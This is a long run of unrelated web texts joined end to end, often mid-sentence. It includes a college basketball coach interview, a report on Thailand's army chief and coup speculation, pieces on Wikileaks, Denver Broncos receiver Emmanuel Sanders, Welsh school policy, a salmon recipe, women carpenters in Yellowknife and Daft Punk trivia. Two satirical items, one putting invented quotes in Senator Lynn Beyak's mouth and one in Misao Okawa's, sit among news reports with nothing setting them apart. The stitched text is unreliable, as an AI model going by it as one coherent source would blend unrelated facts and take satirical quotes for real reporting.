It was really good. UCLA’s ability to score is off the charts. And when Arizona got (Allonzo) Trier back, he just made a tremendous difference for them. He’s a go-to guy and he’s someone who can really make plays for them. We got the game close last night and he hit four free throws to hold us off. He did a great job. I do believe right now that Arizona is playing the best of the three (Pac-12 teams). UCLA, with their offensive ability if they get it rolling, they’re a real handful. I like to think we’re going to bounce back and be a handful also down the stretch.
And finally, thus far what do you know about your upcoming opponent the Iona Gaels?
Unfortunately, I have not seen them play. I know our assistants are scurrying right now to try and find as much information as we can on them and get as much film on them as we can. I know they get up and down. They take a lot of threes. Look at their stats, you see they average 80 points a game. Their three percentage, they take a lot of them and they make a lot of them. They shoot a good percentage. It will put our transition defense to test without that rim protector Chris Boucher. You know Arizona scored more points in the paint last night than we have given up in a long time? We average seven blocks a game and only got three last night. Missing that guy, we’re going to have to change some things up with our defense. Not pressure as much on the outside. We have a lot of work to do before now and Friday, and that’s to get ready for Iona.
No. 3 Oregon (29-5) will meet No. 14 Iona (22-12) in the Midwest region of the 2017 NCAA Tournament. Tip is set for 11:00 a.m. PT on Friday morning from the Golden 1 Center in Sacramento, Calif. Nothing beyond this game is promised to anyone. The Ducks have their work cut out for them.
Stay tuned to ATQ on Instagram @eugene_levys_eyebrows Twitter @TheQuackFiendGeneral Prayuth Chan-ocha says 'door is neither open nor closed' to military intervention after two months of protests
Thailand's army chief has urged both sides in the country's bitter political dispute to show restraint, but did not explicitly rule out the possibility of a coup.
Thailand has been rocked by two months of violent street protests and political tensions pitting the government of the prime minister, Yingluck Shinawatra, against protesters seeking to remove her from power. The army has staged 11 successful coups in the country's history; in the current volatile climate, its intentions are being watched carefully.
"That door is neither open nor closed," the army chief, General Prayuth Chan-ocha, said in response to questions from reporters as to whether a military intervention was likely.
He also reiterated a request that people stop asking the army to take sides in the dispute. "Please don't bring the army into the centre of this conflict," he said.
On Thursday, protesters seeking to disrupt elections scheduled for 2 February fought police in clashes that left two people dead.
Thailand's election commission also called for a delay in the polls, a blow to Yingluck, who expects to win them handily thanks to her overwhelming support in the country's north and north-east.
Prayuth said the army had shown "red traffic lights to both sides, so things will calm down", and called for an end to street violence. "You ask: 'Who wins?' Who wins?' No one," he said.
Police have made no move to arrest the protest movement's ringleader, Suthep Thaugsuban, who is demanding that the country be led by an unelected council until reforms can be implemented. He has vowed that protesters will thwart the polls through civil disobedience. Authorities must tread carefully, as a crackdown would be likely to provoke greater violence and chaos.
The current tensions date back to 2006, when Yingluck's brother, the former prime minister Thaksin Shinawatra, was toppled in a military coup. The protesters accuse Yingluck of being a proxy for Thaksin, who lives in self-imposed exile to avoid a jail sentence for corruption but still wields influence.
Thaksin or his allies have won every election since 2001. His supporters say he is disliked by Bangkok's elite because he has shifted power away from the traditional ruling class, which is represented in the current protest movement.The life of an actor is completely stupid and makes no sense.
In a story to prove this theory is true, Bobby Lee of MadTv talked about a recent audition on his podcast Tigerbelly.
Bobby was happy to audition for a small, 5-line part in some stoner movie, but while he was waiting to get in the room, he sees Steven Yeun of The Walking Dead. They’re both auditioning for the same part.
The fact that they’d be going for the same role isn’t odd. It’s the fact that Steven Yeun, a major character on a hugely popular television show, has to haul his ass into the casting office to audition for a tiny role.
Bobby Lee went up to Yeun. “Now, I looked at him, and I go, ‘After your audition, I’m going to yell at you outside.’ So I took Steven Yeun out there. I didn’t yell at him, but I went, ‘How do you not get an offer?’” Lee asked, “He’s like, ‘Dude I gotta read.’”
Though TV stars may have to read for leading or large supporting movie roles, the idea that someone of that level has to come in with everybody else to see if he can play a 30-second character is pretty surprising.
Lee compared Yeun’s situation to Aaron Paul of Breaking Bad. “I guarantee you right now that Aaron Paul would not audition for five lines.”
Lee and his guests went on to say that this is just another example of how Asians are treated poorly in Hollywood and the innate racism of the business.
Racist or not, hopefully, Yeun won’t be waiting around too many more casting rooms to go in for “Chinese takeout deliverer number 2.”OTTAWA – After spending several months carefully examining and refining her position, Senator Lynn Beyak has released a statement encouraging Indigenous Canadians to put aside their grudges and come together with the rest of Canada in disregarding Indigenous issues.
“I don’t care who culturally genocided who or which colonialist government stole children from which 10,000 year old civilization,” said Beyak, a former member of the Senate’s Aboriginal People’s committee. “It’s time Indigenous groups stopped looking for someone to blame for 600 years of oppression and instead focused on ignoring those injustices on their own dime.”
Beyak, who was born a full 11 years before “Status Indians” had the full right to vote, has long been a proponent of teaching Indigenous Canadians to use selective memory to finally solve problems like boil water advisories, residential school-associated PTSD, and food instability.
“This see-no-evil, hear-no-evil, do-a-lot-of-evil strategy has worked very well for white Canadians for hundreds of years,” said Beyak. “Why wouldn’t it work for Indigenous Canadians? That is, unless you think they’re somehow ‘less capable’ of pretending these problems don’t exist. Yeah. Now who’s the racist?”
At press time, Beyak was still pulling down over $140,000 as a member of an appointed-for-life organization that refuses to integrate into Canadian society.Image caption Daniel Domscheit-Berg worked as a spokesman for Wikileaks before falling out with Julian Assange
A former Wikileaks spokesman claims to have deleted thousands of unpublished files that had been passed to the whistleblowing site.
Daniel Domscheit-Berg told the German Newspaper Der Spiegel that the documents included a copy of the complete US no-fly list.
He said he had "shredded" them to avoid their sources being compromised.
Mr Domscheit-Berg previously worked alongside Julian Assange until the pair had a high profile falling-out.
It is understood that he took the files off Wikileaks' servers at the time of his departure.
Wikileaks confirmed the claims on its Twitter feed, saying: "We can confirm that the DDB claimed destroyed data included a copy of the entire US no-fly list."
The list contains the names of individuals who are banned from boarding planes in the United States or bound for the US, based on suspected terrorist links or other security concerns.
Wikileaks' statement went on to state that Mr Domscheit-Berg had also deleted 5 gigabytes of data relating to Bank of America, the internal communications of 20 neo-Nazi organisations and US intercept information for "over a hundred internet companies."
Mr Domscheit-Berg has not confirmed those additional claims.
A statement, attributed to Julian Assange, accused the former volunteer of sabotage and attempted blackmail.
Personality clash
Daniel Domscheit-Berg worked with Wikileaks as a spokesman during 2010. Towards the end of the year, he left the organisation.
He subsequently published a book about his experiences in which he claims to have clashed with Mr Assange over
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of days. So it’s important to properly acclimatise then ascending this mountain range. Huaraz is a great place to do this as it conveniently lies right at the foot of the Cordillera Blanca, and sits a comfortable 10,000 feet above sea level. From this lovely little city you can take a number of one-day excursions which will aid in your acclimatisation, and keep you busy while you wait.
Huaraz is a seemingly unassuming town when you first arrive, but take a few steps towards the Plaza De Armas and you will absolutely change your mind. Here you will see tonnes of backpackers and exited travellers enjoying a drink in one of the many lively bars. There are also countless hostels and cheap accommodation options in Huaraz, so you can acclimatise and stay on budget.
Activities
Probably the most popular thing to do in the Cordillera Blanca is to trek amazing mountain trails. There are 9 official trekking circuits available that run from 1 – 10 days, so there is something for every level of hiker. Some of the shorter circuits will take you around the two beautiful turquoise lakes, the 69 and the Churup. On the other hand, the longest circuit will take you all the way up to Alpamayo, ‘the most beautiful mountain in the world’.
Cordillera Blanca is also suited to both beginner and experienced mountain climbers. With Mount Ishinca’s peak sitting at a reachable 18,00 ft it is the perfect mountain for first timers to conquer. The more experienced climbers may wish to scale the 5th largest mountain in South America, Huascaran. This humongous tropical mountain stands a jaw-dropping 22, 000 feet tall, and is the main goal of most climbers visiting the Peruvian Andes.
For those of you that prefer to be on wheels, there are also many amazing mountain bike trails. There are many route length options, from one day to week-long trips, the most popular being a five-day circuit that passes the mighty Mount Huascaran. Another fun option is to take out a 4X4 and speed between the Callejon de Huaylas and the Callejon de Conchucos.
Shoutout to alll nature, bird, photography and South America lovers. The wondrous, breathtaking, mighty Cordillera Blanca is the perfect location where it all come together. Take your gear and come over to Peru. Chimu Adventures will create a tailor-made tour that suits all your wishes!
Author: Fern Coll
CommentsNow through the end of August, we will continue our 90-in-90 player series. If you missed the previous player breakdowns, you can check them out here.
Name: Emmanuel Sanders
Position: WR
Height: 5'11" Weight: 180
Age: 30 Experience: 7
College: Southern Methodist
Emmanuel Sanders has undoubtedly been one of John Elway’s best and most underrated free agent acquisitions in his time as general manager of the Denver Broncos.
His production has been outstanding, but perhaps the biggest silver lining in the entire Sanders saga was the fact that Elway was able to pry him away from arch-nemesis and division rival Kansas City during free agency. Isn't it wonderful that the Broncos have Sanders on their team going into battle each Sunday as opposed to having to go up against him?
Sanders is in the final year of his three-year, $15 million dollar contract he signed in 2014. After signing outside linebacker Von Miller to the highest defensive contract of all-time, Elway was vocal about his interest in re-signing Sanders long-term, but as of now, there has been no agreement on a deal that would make Sanders a Bronco for the remainder of his career.
If the Broncos want to keep Sanders, they will have to pony up the dough and pay him a salary that will average at least $11 million dollars annually. The Broncos already have invested a serious amount of coin in top-tier receiver Demaryius Thomas, so it is uncertain whether or not the team will end up deciding to allocate so much money in two players at the position.
However, it is an investment the team can certainly afford to make and moreover, it would be a tremendous if quarterback of the future Paxton Lynch had two top receivers to throw the ball to. Surrounding your franchise quarterback with the best weapons possible is never a bad thing, right?
The Good: Phenomenal athlete with speed to burn. Effective playing on the outside and has been a blessing for the Broncos as a formidable weapon in the slot. Exceptional body control and has a knack for making outstanding catches when the chance arises. Smooth route runner who has great separation ability and can snag a short grab and turn it into a big gain. Can even pitch in and serve as a returner on special teams. Player who demonstrates a team first mentality and is a leader on and off the field.
The Bad: Can be out muscled and jammed up by larger and more physical cornerbacks. Isn't much of a red zone threat due to lack of size and bulk. Not a top-tier run blocker, but certainly shows grit and willingness in that regard.
Quotable: "A huge difference. I still go into meetings and still pay attention, but now I know exactly what's going on. Being in this offense last year, everything was new. I know what [Head Coach Gary] Kubiak expects out of me so I feel a lot more comfortable." — Sanders on his second year in Kubiak’s offense compared to last year
Status: Sanders is certainly a safe bet to make the Broncos' final roster and will be the team's second receiver for the third consecutive season. What isn't certain is his future with the team beyond 2016, but I have faith in Elway's ability to get a deal done with the versatile receiver that will make him a Bronco for the rest of his career.Members of the City of Winnipeg's largest union are meeting next week to discuss and vote on a settlement offer.
A rejection of the city's latest compensation and benefits offer would give the Canadian Union of Public Employees Local 500 a strike mandate, said president Gord Delbridge.
A letter to members of CUPE Local 500 sent Friday said the union will be meeting Tuesday, June 6, to learn about the city's latest offer. On Wedndesday, June 7, they will vote on it.
No details are yet available about what's contained in the city's latest offer to CUPE 500 members.
The letter warned members not to listen to "rumours" about what is contained in the city's latest offer but instead wait until the meetings to learn about details.
Earlier in May, the labour union hinted that members were heading closer to a potential labour action, including a strike.
CUPE 500 represents 5,070 City of Winnipeg employees who have been without a contract since Dec. 24.
The members work in nearly all city departments and include maintenance workers, electricians and recreation centre employees.The circus arrives without warning. No announcements precede it. It is simply there, when yesterday it was not. Within the black-and-white striped canvas tents is an utterly unique experience full of breathtaking amazements. It is called Le Cirque des Rêves, and it is only open at night.
But behind the scenes, a fierce competition is underway: a duel between two young magicians, Celia and Marco, who have been trained since childhood expressly for this purpose by their mercurial instructors. Unbeknownst to them, this is a game in which only one can be left standing, and the circus is but the stage for a remarkable battle of imagination and will. Despite themselves, however, Celia and Marco tumble headfirst into love—a deep, magical love that makes the lights flicker and the room grow warm whenever they so much as brush hands.
True love or not, the game must play out, and the fates of everyone involved, from the cast of extraordinary circus performers to the patrons, hang in the balance, suspended as precariously as the daring acrobats overhead.
Written in rich, seductive prose, this spell-casting novel is a feast for the senses and the heart.Photography Credit: Elise Bauer
One of the best ways to prepare salmon is to poach it, in just a little liquid. We often use this “shallow poaching” method with a little white wine and herbs.
You can also make a simple sauce and poach the salmon in it, which is what we are doing here with these fillets, cooking them in a sauce of onions, tomatoes, white wine, and capers. Preparing salmon this way perfect for a quick and and easy midweek meal, and elegant enough for company.
And, by the way, it tastes great! How could it not, with these ingredients, right?
The tomato onion caper sauce hits all the notes—sweet from the tomatoes and onions, salty from the capers, tang from the tomatoes, lemon juice, and wine, and a dash of bitter from the lemon zest.
You make the sauce first, then rest the fillets on top of it, partly submerged, simmer, cover and cook. The dish takes maybe 10 minutes to prep and only 25 to cook.Carpentry has always been a male-dominated profession, particularly in the N.W.T. According to Statistics Canada's latest household survey numbers, from 2011, there are 250 carpenters in the territory. None of those, however, are listed as female.
Despite the data, there are a small number of female carpenters and apprentices determined to break down the gender gap.
Carpentry apprentices and those looking for work aren't included in Statistics Canada's survey. Though there's a column for self-employed carpenters, they might have been classified differently in the survey.
Cat McGurk is working her first summer as a carpenter's apprentice. The 21-year-old is helping out her father, who runs Diversified Construction in Yellowknife.
McGurk's been interested in being a carpenter since she was a young girl. She grew up going to job sites and working with wood.
"When I was first asking my dad about it and asking him if he'd be willing to let me work with him, he said, 'You really got to think about it because you know, women aren't really well accepted in this trade, as far as trades go,'" she said.
"I can sort of see why a lot of people are deterred from the trade because it's the culture of masculinity that our society breeds is really inherent and really obvious in carpentry."
"It can be really exhausting. I find that it's more emotionally exhausting to be at work than it is physically exhausting. I go home at the end of the day tired, but I don't feel like I am overworked myself."
McGurk works with a small crew, all of whom are older men, including her dad. She says they have been supportive this summer and eager to help her learn. She says she's impressed them with her attention to detail.
Dealing with discrimination
In order to start a carpentry apprentice program in the N.W.T., a carpentry firm must be willing to hire an apprentice on.
CBC News talked to one apprentice hopeful who says she was being discriminated by carpenters in Yellowknife because she was a woman. She was told she would not be able to do the job because she was not strong enough. She did not want to publicly speak out about it.
All the females CBC News spoke to say they have experienced some form of discrimination because they are females, much of it relating to the physical aspect of the job.
Dawn Brigham is a self employed carpenter in Yellowknife. She's been making a living as a carpenter for the past 10 years and has experienced this discrimination from her male counterparts in the past.
McGurk shows off some of the screws she uses on site. She's one of the few females working as a carpenter in the territory. (Haydn Watters/CBC)
"You are always going to have what I call 'Dinosaur Brains' and it's not just trades...There will always be the older way of thinking out there," she said.
"If that is the attitude of the employer, you don't particularly want to be working for that employer anyway cause that's just the beginning of his way of thinking."
'Either you can do the job or you can't do the job'
CBC News reached out to several carpentry companies in Yellowknife and asked about their experiences with females in the trade.
Ron Kungl runs RK Contracting and has worked in the carpentry field for 25 years. During that time, he's never met a female carpenter.
"I've seen a few female electricians. I think that's about the closest I've come to seeing any women in the trades," he said.
Kungl doesn't know why more women aren't joining the trades.
"It can be physically demanding but... I've seen a lot more able bodied women than I've seen men at times. So I don't think it's something that should stop them."
Brian Legge of Legge Carpentry agrees it is more difficult for women to succeed as a carpenter. He too has not worked with any female carpenters.
"It's harder grunt work, you know what I mean? And, yeah, [there's] vulgar language around job sites and stuff like that."
Niels Konge runs Konge Construction and is a Yellowknife city councillor. "I probably get like one out of every 200 people who come through my door looking for a job might be a woman and it’s probably even lower than that." (CBC)
Niels Konge, who runs Konge Construction and is a Yellowknife city councilor, says he's had a few women try to get through the apprenticeship probation period, but none of them made it.
He says one of the women lasted a year, and then that "went to hell." He says this woman was looking for "special accommodations."
"Either you can do the job or you can't do the job and that became a point of friction," he said.
Konge says about one in every 200 people who come to him looking for a job are women. He says he has recently taken on a new female apprentice.
"It's a physically demanding job, you know, so traditionally women are not as big or as strong as men," he said.
"When you have to start packing, you know, sheets of plywood or drywall around, it tends to be very physically demanding… a lot of women just can't seem to be able to do that part of the job."
Despite this, McGurk is determined to make it work. She plans to go to school for the carpentry apprenticeship program.
"The plan is to keep going... I want to keep going."
Are you a non-male working in a male-dominated trade? We want to hear about some of the challenges you face and how you deal with them. Please share your stories with [email protected] 29--A California businessman is suing Virgin America airlines, claiming that he was improperly detained by police after flight attendants reported that he did not flush an airplane toilet and quarreled with them over the purchase of a soft drink.
In a U.S. District Court complaint, Salvatore Bevivino, 52, alleged that he was “taken into custody against his will” last April as he sought to disembark from a flight from Philadelphia to San Francisco. Bevivino said he was detained by six “uniformed officers” and taken to a room where he was questioned.
Bevivino, seen at right, was detained after a Virgin America captain told investigators that the passenger “was using profanities and not listening to instructions from the flight,” according to a San Francisco Police Department report. However, the captain added, “at no time did he or his flight crew feel threatened regarding this passenger.”
A flight attendant told cops that Bevivino argued with her over the ordering of a soda via a computer touchscreen. “My time is precious, you are here to serve me,” Bevivno said, according to the flight attendant.
Following the soda confrontation, the flight attendant told police, Bevivino “went to the restroom, came back out with a smile on his face and began using profanities.” When the flight attendant passed by the lavatory, she “saw that Bevivino left the door open and did not flush the toilet.”
Bevivino, a Genentech executive, denied cursing “during his brief 2 minute exchange with the crew regarding the soft drink order,” adding that he was released from custody after an officer concluded that “the matter seemed to be a customer service issue.”
In his lawsuit, Bevivino surmises that he was a victim of in-flight profiling on the part of flight crew members. Describing himself as of “Italian ancestry,” Bevivino noted that he “is of dark complexion and could be mistaken for being from the Middle East because of his appearance.”
Bevivino’s lawsuit seeks a minimum of $500,000 in damages for causing him, among other things, “apprehension, embarrassment, humiliation, mortification, fright, shock, mental anguish and emotional distress.” (6 pages)Owen Hathway asks if Schools Challenge Cymru will get the time it needs to prove value for money.
Owen Hathway is Policy Officer for NUT Cymru.
Back in early 2014 the Welsh Government announced their flagship policy for school improvement. Schools Challenge Cymru was set to be the Welsh version of the lauded London and Manchester Challenge initiatives which had seen some radical and inspiring results.
With an initial pledge of £20m for at least two years there was financial backing for the programme. This proposal was introduced at the height of the policy fatigue in the Education sector we saw during the last Assembly term. Thankfully the recruitment of some key personnel from previously successful challenge programmes, including the impressive communicator Professor Mel Ainscow, did help alleviate some fears. A little over two years on inevitably people will ask the question “has Schools Challenge Cymru worked for us?”
It is essential with any project of this nature that we are continually reviewing its progress to ensure it is providing value for money. When there is a large financial investment, especially considering education budgets are so tight at present, it is crucial that teachers in schools are seeing a tangible benefit for their pupils.
The evidence from the first independent review suggests that thus far progress is patchy. Some had already voiced their uncertainty of the impact of SCC. When data showed the 40 schools in the SCC programme were just 0.3% better than those not included, the then Plaid Cymru Education Spokesperson, Simon Thomas AM, said in October last year:
“The Labour government’s flagship SCC programme was intended to deliver swift, sustainable improvement to schools that face challenges – but it hasn’t delivered the results.”
However, putting those results into context the aforementioned Professor Ainscow, writing for this very website, stated that:
“Overall, the picture for the Pathways to Success schools is beyond my expectations. Indeed, neither the London nor Manchester Challenges made the same progress after just one year.”
So what does the review tell us? Perhaps most worrying is that “interviewees, in just over a quarter of the visited PtS schools, indicated that they felt that, following inclusion in SCC, they had seen an improvement in the quality of teaching and learning.” (Page 87) By extension therefore there are a significant number of schools who are not seeing that same level of improvement. Conversely however, “The majority of interviewees in 32 of the 38 PtS schools we visited indicated that they felt that participation in SCC had had a positive impact on their school.” (Page 92)
For me one of the key lines of the report is that:
“In most cases, interviewees welcomed the opportunity afforded to PtS schools by their inclusion in SCC and the availability of additional support to help clusters overcome their barriers to improvement. That said, in most cases, interviewees reflected that work undertaken to date was not dissimilar to that which had been undertaken prior to the launch of SCC.” (Page 5)
This is perhaps the crux of the concern. Teachers are open to sharing views and building towards the promise land of a self-improving education system. While I recall initial hesitation from some practitioners at the potential stigma of being included in the 40 SCC schools, they were also open to embracing support and cooperation. Sadly, as with many past Welsh Government initiatives, implementation hasn’t always matched the ambition. Where it has worked, it has worked well. Where it hasn’t there is a need to examine why and to improve on the offer being made to schools.
Clearly there are some teachers and some schools who are seeing the positive effects of the Schools Challenge Cymru program while others are yet to be convinced. What we do know is that similar initiatives, such as the London challenge, were delivered over a much longer period. These were many years in the making and by comparison Schools Challenge Cymru is very much in its infancy. It may be that we cannot fully make a judgement on how impactful this approach will be for a few years. Education reform does not happen overnight. The world’s leading education systems have taken decades to develop. Wales will not be unique in that regards and patience with any new policy is very much a virtue.
I think in some regards teachers are reluctant to embrace a new proposal if they are uncertain of how sustainable the commitment to it is. While the initial money set aside was promising, the lack of a long-term commitment, for whatever reasons, did perhaps hinder the buy in from the sector. A profession that has have become jaded by policies announced to great fanfare one day only to be scrapped the next were always going to view a two year guarantee as short-term. Even today, in light of a new Government and a new Cabinet Secretary, with the Minister who brought this project to life no longer an Assembly Member, the uncertainty continues to hang over the policy.
If it is to be a success then it will be important to communicate where there have been successes and replicate that action across schools and local authorities. Perhaps the biggest question we can ask of Schools Challenge Cymru is if it will be afforded the time and investment to truly prove itself the game changing initiative it was announced to be.OSAKA, JAPAN—Reflecting on a long life that began at the end of the 19th century, the world’s oldest woman told reporters Monday that she could not be happier that every other human on earth the day she was born is now deceased. “Nothing, not one single thing, gives me more pleasure than knowing anyone who was alive on March 5, 1898—my family, my friends, and even far-off strangers that I never knew existed—is stone-cold dead,” said 116-year-old Misao Okawa, smiling as she observed how all 1.6 billion of the people who were alive the day she came into the world had passed away, one by one, during her remarkable lifespan. “I’m the sole fucking survivor. I’m the longevity queen. I’m the one who stuck it out while everyone else threw themselves on the corpse pile. Man, it’s too bad I’m in a wheelchair or I’d trample every single one of their fucking graves.” Okawa went on to say her only regret is that she probably won’t outlive all her children, grandchildren, and great-grandchildren.
AdvertisementObama’s attorney general pick and the illusion of change
20 November 2008
The media reaction to President-Elect Barack Obama’s reported choice of Eric Holder, a former top Justice Department official under the Clinton administration, as his attorney general has focused largely on the fact that, as the New York Times put it, Holder will be the “first African-American to serve as the nation’s top law-enforcement official.”
As with the president-elect himself, the focus on racial identity serves to mask the mounting indications that, far from fleshing out the vague promises of “change” that dominated the election campaign, the transition to the Obama presidency is laying the foundations for the continuation of many of the criminal and reactionary policies of the past eight years.
The only widely reported criticism of Holder has come from the Republican right. It apparently wants to make an issue of the involvement of the former deputy attorney general in a presidential pardon issued by Bill Clinton at the end of his presidency for the billionaire fugitive investor Marc Rich. How much mileage they can get out of flogging this petty scandal is unclear. There is the inconvenient coincidence that Rich’s lawyer at the time of the pardon was Lewis “Scooter” Libby, the former chief of staff to Vice President Cheney, who is expected to seek his own end-of-term pardon from President Bush on felony convictions in the Valerie Plame CIA identity leak case.
The reality is that Holder represents a bipartisan consensus candidate, having been appointed by both Republican and Democratic administrations to prosecutorial and judicial positions, where he developed a law-and-order reputation.
As a senior legal advisor to the Democratic Party, Holder was intimately involved in the party leadership’s complicity with the police state measures enacted under the Bush administration, playing a leading role in the talks that led to the reauthorization of the Patriot Act in 2005, for which Obama himself voted.
After leaving the Clinton administration, Holder parlayed his government service into a lucrative position as a partner at the Washington, DC legal and lobbying firm of Covington & Burling, which counts big tobacco among its most important clients.
Holder’s most high-profile case at the firm was his defense of the food giant Chiquita Brands International, Inc., whose multi-millionaire executives were facing potential charges of aiding terrorism because of their financing and arming of right-wing death squads in Colombia.
Using his longstanding ties at the Justice Department, Holder managed to get Chiquita off the hook with a fine that amounted to 0.55 percent of its annual revenue. This was despite the overwhelming evidence—and the company’s own admission—that it had paid out millions of dollars to the United Self-Defense Forces of Colombia (known by its Spanish acronym AUC), as its gunmen carried out the massacre, assassination, kidnapping and torture of tens of thousands of Colombian workers, peasants, trade union officials and left-wing political activists. Fully half of these payments were made after AUC was formally designated as a foreign terrorist organization, and they continued for a full year after the Justice Department had warned Chiquita that it would face prosecution if it failed to halt the payments.
Some have defended Holder on the grounds that he is not responsible for his clients’ actions and that every defendant is entitled to a lawyer. This is no doubt true, but lawyers also have a right to choose whom and what class interests they defend. Holder’s record is not that of a champion of civil and democratic rights or a defender of the oppressed, but rather a legal servant of the corporations and the state, complicit in their criminality and repression.
No less significant than the nomination of Holder is the reported decision of the Obama transition team to maintain as his chief law enforcement deputy the current FBI Director Robert Mueller.
Although Mueller’s term does not expire until 2011, an incoming president has the power to demand resignations and make it clear that he wants his own appointees in key positions. Given the record of the last eight years, there are compelling reasons for someone purportedly standing for “change” to want to make a clean sweep.
Mueller is fully implicated in the gross abuse of power carried out by the Bush administration in the name of the “global war on terrorism.” Under his direction, the FBI employed so-called National Security Letters (NSLs) to illegally spy on tens of thousands of people in the US, illegitimately collecting email, telecommunications, and financial and other personal information.
It is the same story and worse at the Pentagon and the CIA. Citing sources in the transition process, the Financial Times reported Wednesday, “President-Elect Barack Obama and Robert Gates are negotiating terms under which the defense secretary would remain as Pentagon chief in the new administration.” Retaining Gates, who championed the “surge” that has killed tens of thousands of Iraqis and another 1,000-plus US troops, sends an unmistakable signal of continuity with the Bush administration’s record of aggressive militarism.
Meanwhile, at the CIA, the transition is headed by one John Brennan, who was a top aide to former CIA Director George Tenet and who participated directly in the decisions to initiate the policies of torture, extraordinary rendition and secret prisons that have provoked revulsion all over the world. Brennan, like Tenet, deserves to confront a war crimes tribunal, yet he is shaping intelligence policy for Obama.
Given these appointments, a report published Monday by the Associated Press that the incoming Obama administration “is unlikely to bring criminal charges against government officials who authorized or engaged in” torture hardly comes as a surprise.
The emerging continuity of policies and personnel at Justice, the FBI, CIA and Pentagon means that there will be no accounting whatsoever for the war crimes and gross violations of the US Constitution carried out under the Bush administration.
This is not merely a matter of sweeping these crimes under the rug—as serious as that is. Rather, what is being prepared are cosmetic changes behind which these same methods will be employed once again to pursue US interests abroad and suppress social unrest and class antagonisms at home.
Bill Van AukenGett, the company behind the taxi-booking app of the same name in the US, announced today that its Android app is now compatible with Android Wear devices.
From today, users in the UK, Russia, Israel and the US can book a car on demand using voice commands. As an extra bonus you’ll also get driver notifications when your driver is on the way, and when they arrive. It’s worth pointing out that in some markets, the company operates as GetTaxi, rather than simply Gett.
You can also set a destination, pay and rate your driver directly from your wrist too with swipe gestures.
It probably won’t be a compelling enough reason on its own to make you buy an Android Wear smartwatch, or to start taking taxis everywhere around town, but if you’re a frequent user of Gett’s service, it makes things just a touch easier.
➤ Gett
Read next: French ad tech company Appsfire has been acquired by Mobile Network GroupPupils will learn about all types of relationships Children's Secretary Ed Balls has denied plans for compulsory sex education in England's schools have been watered down. But an amendment to a government bill gives faith schools more freedom to tailor teaching to their own beliefs. Pressure groups claim this amendment would allow faith schools to ignore requirements in the bill to teach it in a balanced way, respecting diversity. The government has denied it could result in a rise in homophobia. If a school doesn't approve of contraception or abortion or homosexuality, then it can give that message
Rabbi Dr Jonathan Romain
Accord coalition Mr Balls dismissed suggestions the amendment to the Children, Schools and Families Bill, which was first revealed by the BBC News Website, represented an "opt out" for faith schools. He told the Today programme: "A Catholic faith school can say to their pupils we believe as a religion contraception is wrong but what they can't do is therefore say that they are not going to teach them about contraception to children and how to access contraception. "What this changes is that for the first time these schools cannot just ignore these issues or teach only one side of the argument. "They also have to teach that there are different views on homosexuality. They cannot teach homophobia. They must explain civil partnership." But opponents say this requirement was already in the Children, Schools and Families Bill. Rabbi Dr Jonathan Romain, of the Accord Coalition which calls for an end to what it sees as religious discrimination in school staffing and admissions, told Today he was "astonished and saddened" that Mr Balls had chosen to effectively give faith schools an opt-out. Please turn on JavaScript. Media requires JavaScript to play. 'Negative' "If a school doesn't approve of contraception or abortion or homosexuality, then it can give that message or it can omit certain facts. "We know there are some faith schools which take a very negative view." Under the plans, all schools are to be required to teach children aged seven to 11 about relationships including marriage, same sex and civil partnerships, divorce and separation under Personal, Social, Health and Economic Education. Secondary school pupils are to learn about sexual activity, reproduction, contraception as well as same sex relationships. Sex and relationship education - who does what? Age 5-7 - puberty, relationships and how to keep safe Age 7 - 11 - puberty, relationships including marriage, divorce, separation, same sex and civil partnerships and managing emotions and dealing with negative pressures Age 11 - 14 - Sexual activity, human reproduction, contraception, pregnancy, STDs including HIV/Aids and high risk behaviours, relationships, including those between old, young, girls, boys and same sex Age 14 - 16 - Body image and health, choices relating to sexual activity and substance misuse, and the emotional well-being, reducing risk and minimising harm, parenting skills and family life, separation, divorce and bereavements, prejudice and bullying
Send us your comments The bill states the subject is to be taught in a way that promotes equality, accepts diversity and emphasises both rights and responsibilities. This requirement could have been problematic for schools governed by religions that are specifically opposed to homosexuality and contraception. About a third of schools in England are faith schools. In a statement on its website, the Catholic Education Service says the amendment, which was tabled by Children's Secretary Ed Balls, was secured after a period of "extensive lobbying". But it refused to comment on the issue. Liberal Democrat Children's spokesman David Laws said the amendment was "a serious and undesirable U-turn". 'Homophobia' He told Today: "This government hasn't had a bad record over the years in trying to challenge things like homophobia. "Now, with this amendment it's undermined a lot potentially, that it's been achieving. I think it will upset many people who believe that in today's Britain we should have a society where the taxpayer should not be subsidising prejudice." The British Humanist Association is also among those who have criticised the amendment. Its chief executive Andrew Copson said the amendment effectively gave a licence to faith schools to teach sex and relationships educations in ways that were homophobic, gender discriminatory and violated principles of human rights.
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We know what you’re saying, “the androids did a boatload of press leading up to Random Access Memories, how are there things we didn’t know?!” Honestly, most of those outlets didn’t get down deep. You’d think that they didn’t even like Daft Punk, but were just collecting that check. DAD can’t blame them, but we don’t just wear “androids” in our URL; we’ve been fans for a while. There’s Daft lore, and then there’s the interesting cameos inHuman After All-era videos. Or the inspiration for certain albums. Or which producer got denied a Daft Punk sample.
Here’s a list of things may have or may have not known about Daft Punk:
Their first release as Darlin’ came out on Stereolab’s Duophonic Records
Thomas and Guy-Manuel, along with Laurent ‘Branco’ Brancowitz, formed the group Darlin’. Two of their tracks, a cover of The Beach Boys’ “Darlin'” and an original track, “Cindy So Loud,” were featured on the multi-artist EP Shimmies in Super 8, which came out in 1993.
“Cindy So Loud” was described as “daft punky thrash,” which amused Thomas and Guy-Manuel
The now-infamous Melody Maker review of Shimmies in Super 8 called the lone original Darlin’ track on that EP (“Cindy So Loud”) “daft punky thrash,” which amused Thomas and Guy-Man so much that when they left the group (leaving Branco to form Phoenix), they used the “Daft Punk” barb as their new stage name.
Daft Punk were champions of artistic control
Today’s EDM scene is full of chiefs and their own imprints, but Daft Punk found a way to be signed with a label like Virgin and, while they gave up more money than they could have made, they ended up getting better deals. Here’s Thomas explaining their position on control: “We’ve got much more control than money. You can’t get everything. We live in a society where money is what people want, so they can’t get the control. We chose. Control is freedom. People say we’re control freaks, but control is controlling your destiny without controlling other people. We’re not trying to manipulate other people, just controlling what we do ourselves. Controlling what we do is being free. People should stop thinking that an artist that controls what he does is a bad thing. A lot of artists today are just victims, not having control, and they’re not free. And that’s pathetic. If you start being dependent on money, then money has to reach a point to fit your expenses.”
Daft Punk denied will.i.am from releasing a remix containing samples from “Around the World”
will.i.am’s EDM thirst isn’t new at all, but many forget how his remix of “I Got It From My Mama” contained a sample from “Around the World.” He ended up producing a music video with the sample intact, but Daft Punk’s disapproval of the sample blocked him from releasing the remix.
Daft Punk originally only wanted 50,000 CD copies of “Homework” printed
